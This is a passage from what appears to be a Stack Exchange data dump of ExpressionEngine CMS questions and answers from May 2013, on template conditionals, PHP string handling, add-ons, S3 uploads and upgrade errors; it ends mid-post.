  <row Id="10065" PostTypeId="2" ParentId="9420" CreationDate="2013-05-05T11:22:04.053" Score="1" Body="&lt;p&gt;Will un-installing modules increase performance? yes.  Will it increase &lt;em&gt;noticeable&lt;/em&gt; performance? Almost certainly not.  The overhead of unused modules is tiny compared to what else EE loads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a quick look with debugging on shows one SQL query to retrive available modules. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `module_version`, `module_name`&#xA;FROM (`exp_modules`) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at later queries, only modules that are actually used show any other SQL queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that exp_modules is a pretty small table (10 or so entries) in comparison to a channel table (10K+), it's one of the cheapest queries performed.  Without digging into the source and seeing what file systems operations are performed I can't say for sure, but as a general rule it's always the database queries that hurt performance rather than file loads.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So perhaps another question is; are there any other reasons you should uninstall unused modules? YES!  Every module increases your attack surface size, if you have un-installed a module, logically a vulnerability in that module can not be used against you.  This should be part of your vertical system hardening from the operating system-&gt;web server-&gt;PHP-&gt;EE where you disable unused components from every part of your system.  See the &lt;a href=&quot;https://serverfault.com/questions/212269/tips-for-securing-a-lamp-server&quot;&gt;canonical serverfault question for more&lt;/a&gt; tips.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:55.020" LastActivityDate="2013-05-05T11:22:04.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10066" PostTypeId="1" AcceptedAnswerId="10074" CreationDate="2013-05-05T14:24:27.993" Score="1" ViewCount="835" Body="&lt;p&gt;What is the best practice for manipulating strings with PHP (output mode) that might contain straight quote marks (single or double)? I'm not totally clear how EE stores and outputs these normally, and so I've run into PHP parse errors in certain situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the only reliable method to use &lt;code&gt;{exp:xml_encode}&lt;/code&gt;? For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$excerpt = '{exp:xml_encode}{post_excerpt}{/exp:xml_encode}';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and are those single quotes above around the EE code better than using double quotes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE's implementation of &lt;code&gt;{exp:xml_encode}&lt;/code&gt; incorporates the PHP strip_tags() function, so this is not always ideal (e.g the excerpt above might have a phrase wrapped in &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; tags. But at the same time, it seems there's no other way to store and manipulate the field content in PHP if it contains single or double quotes.&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-05-05T21:32:08.110" Title="Avoiding syntax errors with PHP and strings with quotation marks" Tags="|php|parse-order|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10067" PostTypeId="2" ParentId="9745" CreationDate="2013-05-05T17:21:38.587" Score="2" Body="&lt;p&gt;I implemented support for this in SEO Lite a while back. It takes a bit of config setup but after that it works excellent. Basically you map custom fields in the various field groups to the opengraph tags you'd like to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See example here &lt;a href=&quot;https://gist.github.com/bjornbjorn/4039233&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bjornbjorn/4039233&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will map fields from the News, Blog and Portfolio channels into {extra:} tags that can be used in the SEO Lite template. Let me know if you have any questions about the implementation:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about SEO Lite here: &lt;a href=&quot;http://wedoaddons.com/addon/seo-lite&quot; rel=&quot;nofollow&quot;&gt;http://wedoaddons.com/addon/seo-lite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-05-05T17:21:38.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10068" PostTypeId="2" ParentId="9734" CreationDate="2013-05-05T17:25:27.790" Score="1" Body="&lt;p&gt;I don't think this is possible with the default pagination, however you can specify the number of links to show w/AB Pagination, see parameters for the {abp_pages} tag in the docs here: &lt;a href=&quot;http://wedoaddons.com/addon/ab-pagination/documentation&quot; rel=&quot;nofollow&quot;&gt;http://wedoaddons.com/addon/ab-pagination/documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still prefer to hack the default pagination, you'll need to edit the file system/expressionengine/libraries/EE_Pagination.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I wrote AB Pagination&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="343" LastEditDate="2013-06-04T18:54:45.380" LastActivityDate="2013-06-04T18:54:45.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10069" PostTypeId="5" CreationDate="2013-05-05T17:27:31.280" Score="0" Body="&lt;p&gt;SEO-Lite adds a tab to your publish layout which enables you to specify SEO settings on a per entry level. Add meta keywords, description and override the entry's title with a SEO optimized title. More info here: &lt;a href=&quot;http://wedoaddons.com/addon/seo-lite&quot; rel=&quot;nofollow&quot;&gt;SEO Lite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-05-06T08:44:45.180" LastActivityDate="2013-05-06T08:44:45.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10070" PostTypeId="4" CreationDate="2013-05-05T17:27:31.280" Score="0" Body="SEO Lite is a free addon for ExpressionEngine" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-05-06T08:44:51.180" LastActivityDate="2013-05-06T08:44:51.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10071" PostTypeId="1" AcceptedAnswerId="10245" CreationDate="2013-05-05T17:57:18.397" Score="0" ViewCount="447" Body="&lt;p&gt;I have a matrix field called {gallery} it has a column with 2 checkboxes - public and private&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show only the items marked private but would also like an optional message if there are no private items. This code does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery} {if publicprivate ==&quot;private&quot;} {if no_results}&#xA;       No rows available&#xA;   {/if}  &#xA; &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{imageupload}&quot;/&amp;gt;&amp;lt;/li&amp;gt; {/if}  &#xA;{/gallery}                        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-09T22:04:46.927" Title="Conditionals in matrix field" Tags="|matrix|conditionals|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10072" PostTypeId="1" CreationDate="2013-05-05T18:24:18.213" Score="2" ViewCount="1469" Body="&lt;p&gt;I am having an issue with Assets when trying to upload large-ish .mp3 files to an Amazon S3 bucket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine v2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Assets v2.1.2&lt;/li&gt;&#xA;&lt;li&gt;PHP v5.4.10 (via MAMP)&lt;/li&gt;&#xA;&lt;li&gt;Dedicated Amazon bucket (tested with smaller image files and is confirmed to be working and accepting uploads)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have adjusted my php.ini settings to the following values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;post_max_size = 500M&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;upload_max_filesize = 500M&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;max_execution_time = 600&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;max_input_time = 600&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;memory_limit = 128M&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While trying to upload a .mp3 file that is 120MB in size (it's a podcast), I get the following error in Assets:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could not upload the file - server returned an unexpected response. Please check the server settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Checking the PHP error log, this is the message I see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[05-May-2013 14:19:33 America/New_York] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 80987568 bytes) in Unknown on line 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a lot of memory Assets is trying to use. I'm not sure how Assets deals with big files – does it try to load the entire contents in memory and then upload? Any other settings I could try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick note – I did try uploading a 15MB .mp3 and that worked without problem.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2013-06-05T01:32:55.127" Title="Assets problem uploading large files to Amazon S3" Tags="|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10073" PostTypeId="2" ParentId="10071" CreationDate="2013-05-05T18:38:12.440" Score="1" Body="&lt;p&gt;Matrix supports a search param, so I'm pretty sure this should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery search:publicprivate=&quot;=private&quot;}&#xA;    {if no_results}no private items available{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{imageupload}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - alternatively you could try something more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if gallery:total_rows search:publicprivate=&quot;=private&quot; &amp;gt; 0}&#xA;no private items available&#xA;{/if}&#xA; {gallery search:publicprivate=&quot;=private&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{imageupload}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-06T01:18:26.640" LastActivityDate="2013-05-06T01:18:26.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10074" PostTypeId="2" ParentId="10066" CreationDate="2013-05-05T18:57:44.067" Score="1" Body="&lt;p&gt;Try using the php function &lt;a href=&quot;http://php.net/manual/en/function.addslashes.php&quot; rel=&quot;nofollow&quot;&gt;addslashes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$str = &quot;Is your name O'reilly?&quot;;&#xA;&#xA;// Outputs: Is your name O\'reilly?&#xA;echo addslashes($str);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for EE you could have something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(UPDATE 1: the following &lt;strong&gt;does not work&lt;/strong&gt;:)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is the title and excerpt of this entry: &quot;&#xA;    &amp;lt;?php &#xA;        $str = &quot;&amp;lt;strong&amp;gt;&quot;. addslashes({title}) . &quot;&amp;lt;/strong&amp;gt; : &quot;;&#xA;        $str .= addslashes({post_excerpt}); // combine title and post_excerpt&#xA;        echo  stripslashes($str); // remove the slashes.&#xA;    ?&amp;gt;&#xA;&quot;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 1 the following &lt;strong&gt;does work&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the suggestion of th3mus1cman above, this does work in a plugin without needing addslashes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;On your template:&#xA;&amp;lt;p&amp;gt;This is the excerpt of this entry: &quot;&#xA;&#xA;    {exp:test_php}{post_excerpt}{/exp:test_php}&#xA;&#xA;&quot;&amp;lt;/p&amp;gt;&#xA;&#xA;In your test_php plugin: &#xA;public function __construct()&#xA;{&#xA;    $ee_str = ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;    $new_str = &quot;&amp;lt;strong&amp;gt;&quot;. $ee_str . &quot;&amp;lt;/strong&amp;gt;&quot;;&#xA;&#xA;    $this-&amp;gt;return_data = $new_str;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-05-05T21:32:08.110" LastActivityDate="2013-05-05T21:32:08.110" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10075" PostTypeId="2" ParentId="10071" CreationDate="2013-05-05T21:35:27.713" Score="0" Body="&lt;p&gt;You could try this too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery}&#xA;    {if public}Public content here{/if}&#xA;    {if private}Private content here{/if}&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-05-05T21:35:27.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10076" PostTypeId="2" ParentId="10032" CreationDate="2013-05-05T21:39:30.757" Score="0" Body="&lt;p&gt;Check that the file path matches snippet sync's file path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config[‘snippet_file_basepath’] = ‘/my/path/’;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-05-05T21:39:30.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10077" PostTypeId="2" ParentId="10052" CreationDate="2013-05-05T21:44:25.627" Score="0" Body="&lt;p&gt;For the sake of completeness, I'm posting this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; modify the core. &lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt; is a better solution, though.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In /system/expressionengine/modules/channel/mod.channel.php, search for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'title' :&#xA;  $end .= &quot;t.title&quot;;&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'title' :&#xA;  $end .= &quot;TRIM(leading 'an ' FROM TRIM(leading 'a ' FROM  TRIM(leading 'the ' FROM LOWER(t.title))))&quot;;&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll ignore 'an', 'a' and 'the' from the start of titles in channel entries loops.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-05T21:44:25.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10080" PostTypeId="1" CreationDate="2013-05-06T01:11:02.590" Score="1" ViewCount="286" Body="&lt;p&gt;I have just tried to install Multiple Site Manager (MSM) both on my local MAMP server and on the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have copied the files required, and turned on the MSM setting in General Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever I go to &quot;Edit Sites&quot;, I get the following error:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website encountered an error while retrieving &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost:8888/soundhalo-blog/admin.php?S=390e647927cdde75544e6e3c9e258cf84f8cce2b&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=manage_sites.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may be down for maintenance or configured incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out as to why this is showing up? I get the same error on the server as well.&lt;/p&gt;&#xA;" OwnerUserId="1436" LastActivityDate="2013-05-28T15:01:20.750" Title="Installation of MSM not working on localhost / server" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10081" PostTypeId="2" ParentId="10072" CreationDate="2013-05-06T01:21:47.850" Score="1" Body="&lt;p&gt;You may want to attempt to use CORS -- &lt;a href=&quot;http://aws.typepad.com/aws/2012/08/amazon-s3-cross-origin-resource-sharing.html&quot; rel=&quot;nofollow&quot;&gt;http://aws.typepad.com/aws/2012/08/amazon-s3-cross-origin-resource-sharing.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will upload from the end user right to S3 -- it will perform faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code here: &lt;a href=&quot;http://www.ioncannon.net/programming/1539/&quot; rel=&quot;nofollow&quot;&gt;http://www.ioncannon.net/programming/1539/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-05-06T01:21:47.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10082" PostTypeId="1" CreationDate="2013-05-06T03:04:45.897" Score="1" ViewCount="189" Body="&lt;p&gt;I have installed FreeForm and Low NoSpam, built new Free Forms, signed up for Akismet, got the API key installed it, configured the settings for the products.  Yet, nothing is being blocked.  I can submit dozens of messages without any checking.  Put in crappy information.  Everything that spam catching should get.   Yet, every entry just nicely goes through to my Freeforms submissions.   It just appears to bypass everything.   I use a separate machine to test from, so I am not logged in.  It seems like Akismet is not in the loop.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akismet seems odd to me.   My former Akismet account gave me a control panel.  The new Akismet just gives me the API key.  &lt;/p&gt;&#xA;" OwnerUserId="1437" LastActivityDate="2013-05-23T23:07:35.093" Title="Using FreeForm 4.0.12 with Low NoSpam 2.2.3 / Akismet EE 2.6" Tags="|add-on|solspace-freeform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10084" PostTypeId="2" ParentId="9995" CreationDate="2013-05-06T04:12:56.543" Score="1" Body="&lt;p&gt;I cant guarantee this code will work as is but the approach is more valid. Separate content from layout, capture and stash the results then lay it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Capture results &amp;amp; store results in a USER scoped list&#xA;{exp:stash:set_list name=&quot;results&quot; scope=&quot;user&quot; parse_tags=&quot;yes&quot; prefix=&quot;myvar&quot;}&#xA;    {exp:low_search:results query=&quot;{segment_2}&quot; limit=&quot;10&quot;}&#xA;        {stash:entryid}{entry_id}{/stash:entryid}&#xA;        {stash:urltitle}{url_title}{/stash:urltitle}&#xA;        {stash:channel}{channel}{/stash:channel}&#xA;        {if myvar:no_results}No search results{/if}&#xA;    {/exp:low_search:results}&#xA;{/exp:stash:set_list}&#xA;&#xA;//Get the list - lay it out&#xA;{exp:stash:get_list name=&quot;results&quot; scope=&quot;user&quot; prefix=&quot;myvar&quot; process=&quot;end&quot;}&#xA;    {if myvar:count==&quot;1&quot;}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&#xA;    {exp:switchee variable = &quot;{channel}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;bikes&quot;}&#xA;        &amp;lt;span class=&quot;image&quot;&amp;gt;&#xA;            {embed=&quot;embeds/image&quot; entry_id=&quot;{entryid}&quot; width=&quot;200&quot;}&#xA;        &amp;lt;/span&amp;gt;&#xA;        //This could be problematic, parsing and embed inside a case inside a stash&#xA;        &amp;lt;a href=&quot;{embed='bikes/_bike_url' url_title='{urltitle}' entry_id='{entryid}'}&quot;&amp;gt;{url title}&amp;lt;/a&amp;gt;&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        &amp;lt;span class=&quot;image&quot;&amp;gt;&#xA;            {embed=&quot;embeds/image&quot; entry_id=&quot;{entryid}&quot; width=&quot;200&quot;}&#xA;        &amp;lt;/span&amp;gt;&#xA;        //This could be problematic, parsing and embed inside a case inside a stash&#xA;        &amp;lt;a href=&quot;{exp:transcribe:uri path='{comment_url_title_auto_path}'}&amp;gt;{url title}&amp;lt;/a&amp;gt;&#xA;    {/case}&#xA;    {/exp:switchee}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {if my_var:count == my_var:total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;    {if my_var:no_results}No Results{/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-06T04:12:56.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10085" PostTypeId="2" ParentId="9012" CreationDate="2013-05-06T07:16:10.653" Score="1" Body="&lt;p&gt;Parse order is in play but one thing you could try is to add &lt;code&gt;type=&quot;snippet&quot; scope=&quot;user&quot; save=&quot;yes&quot;&lt;/code&gt; this will save it as traditional snippet, save to the current users session and save it across page loads. Maybe also after the get, decalre a new stash var to hold the result to rule out any gremlins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting var to snippet : Then in your template you'd simple refer to the variable as {name_of_var} as a traditional snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then around your output (search form) try adding &lt;code&gt;{exp:stash:parse process=&quot;end&quot;} {/exp:stash:parse}&lt;/code&gt; to make sure all the stash stuff before completes before calling the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all assumption based, your code is a little confusing to me at first glance, var is holding initially one value then HTML, opening stash without closing tags.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-06T07:16:10.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10086" PostTypeId="1" CreationDate="2013-05-06T09:42:50.443" Score="1" ViewCount="70" Body="&lt;p&gt;I have a channel for each product type, e.g. breakfast, snacks, starters. When viewing the order using the {checkout} tag and the {items} variable, how can I order by channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas.&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-11-01T11:15:54.757" Title="Expresso Store: Order items by channel?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10087" PostTypeId="1" CreationDate="2013-05-06T11:41:44.627" Score="2" ViewCount="120" Body="&lt;p&gt;I have a site with a database of products and now I have added expresso store. I would like to make the product info field not be required. I have set the &quot;Is this a required field?&quot; option to no but once I try and edit or add a new product it still asks for a price and a SKU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the client does not want all of their products to be available on the shop. I want to have the custom field be available on all entries but only use those which will fill out the product details field filled out.&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2013-07-17T11:22:03.193" Title="is it possible to set the store product details field not required?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10088" PostTypeId="1" CreationDate="2013-05-06T13:36:57.687" Score="1" ViewCount="125" Body="&lt;p&gt;I've been looking up the hooks that can be used with the Comment Module. But I don't think there is one I could use to &lt;strong&gt;filter the list of comments by entry author in the Control Panel&lt;/strong&gt;. I'm trying to filter that list so users only see the comments on entries they've added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any existing &lt;strong&gt;add-ons&lt;/strong&gt; that can do this? Or are there any &lt;strong&gt;hooks&lt;/strong&gt; I could use to write an add-on myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Diederik.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2013-05-16T14:28:05.727" LastActivityDate="2013-06-15T14:38:32.217" Title="Filter comments by Entry Author in the Control Panel" Tags="|comments|filter|hook|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10089" PostTypeId="1" CreationDate="2013-05-06T14:48:42.800" Score="0" ViewCount="85" Body="&lt;p&gt;Help! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to 2.6, with no issues during the upgrade process. I can see my site fine. When I try to login to the control panel, I am able to see and use the authentication (username and password), but then see this error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined function function_usable() in (path here)/system/codeigniter/system/libraries/Email.php on line 1761&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions to fix? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warmly, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bill &lt;/p&gt;&#xA;" OwnerUserId="1325" LastActivityDate="2013-05-06T15:05:05.323" Title="upgrading vanilla EE from 2.5.3 to 2.6.0 Fatal error: Call to undefined function function_usable()" Tags="|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10090" PostTypeId="2" ParentId="10089" CreationDate="2013-05-06T14:55:59.300" Score="1" Body="&lt;p&gt;looks like this is a known bug that is due to be fixed in next release. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19326&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19326&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1325" LastEditorUserId="1325" LastEditDate="2013-05-06T15:05:05.323" LastActivityDate="2013-05-06T15:05:05.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10092" PostTypeId="1" CreationDate="2013-05-06T15:58:08.367" Score="3" ViewCount="711" Body="&lt;p&gt;&lt;strong&gt;NEW INFO&lt;/strong&gt;&#xA;OK, I found that the error was being thrown by a custom exception built into expression engine that will do partial matches on variable names if it doesn't find the original one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From libraries/Functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// There is a partial variable match being done&#xA;// because they are doing something like segment_11&#xA;// when there is no such variable but there is a segment_1&#xA;// echo  $x[$j].&quot;\n&amp;lt;br /&amp;gt;\n&quot;;&#xA;trigger_error('Invalid EE Conditional Variable: '.$matches[0][$i], E_USER_WARNING);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is part of a loop, essentially. We do have a variable called &lt;code&gt;deal&lt;/code&gt;, which in certain cases evaluates to N (the element that's being processed by the template is not a deal). The error is only being thrown in cases where there is no &lt;code&gt;deal_original_price&lt;/code&gt; (i.e. on rows that are not deals). I don't know why it's even trying to evaluate that, though, because the entire call is inside another conditional that only runs if &lt;code&gt;deal&lt;/code&gt; is Y.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if deal == &quot;Y&quot; AND coupon == &quot;N&quot;}&#xA;    &amp;lt;tr data-deal_id=&quot;{deal_id}&quot;&amp;gt;&#xA;        &amp;lt;td class=&quot;productPrice&quot; style=&quot;vertical-align: top;&quot;&amp;gt;${deal_total}&amp;lt;br /&amp;gt;&#xA;            {if deal_original_price &amp;amp;&amp;amp; deal_original_price != &quot;&quot; &amp;amp;&amp;amp; deal_original_price &amp;lt;&amp;gt; deal_total}&#xA;                &amp;lt;span class=&quot;originalDealPrice&quot;&amp;gt;${deal_original_price}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;span id=&quot;modal_change&quot;&amp;gt;Why is there a price difference?&amp;lt;/span&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;span id=&quot;modal_same&quot;&amp;gt;Pricing Terms &amp;amp; Conditions&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=====================================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following html with embedded ee variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;productPrice&quot;&amp;gt;${deal_total}&amp;lt;br /&amp;gt;{if deal_original_price != &quot;&quot;}&amp;lt;span class=&quot;originalDealPrice&quot;&amp;gt;${deal_original_price}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;removeItem&quot;&amp;gt;&amp;lt;/span&amp;gt;{/if}&amp;lt;/td&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, to some extent - it is displaying the correct value for &lt;code&gt;deal_original_price&lt;/code&gt;. But when I check my error logs, I see this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[06-May-2013 10:50:12] PHP User Warning:  Invalid EE Conditional&#xA;  Variable: {if &quot;N&quot;&lt;em&gt;original&lt;/em&gt;&quot;&amp;#36;1.50&quot; != &quot;&quot;} in&#xA;  C:\gitRepo\qo5phi\system\expressionengine\libraries\Functions.php on&#xA;  line 2843&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Here's what it actually looks like; SE is interpreting the ascii code for the dollar sign.)&#xA;&lt;img 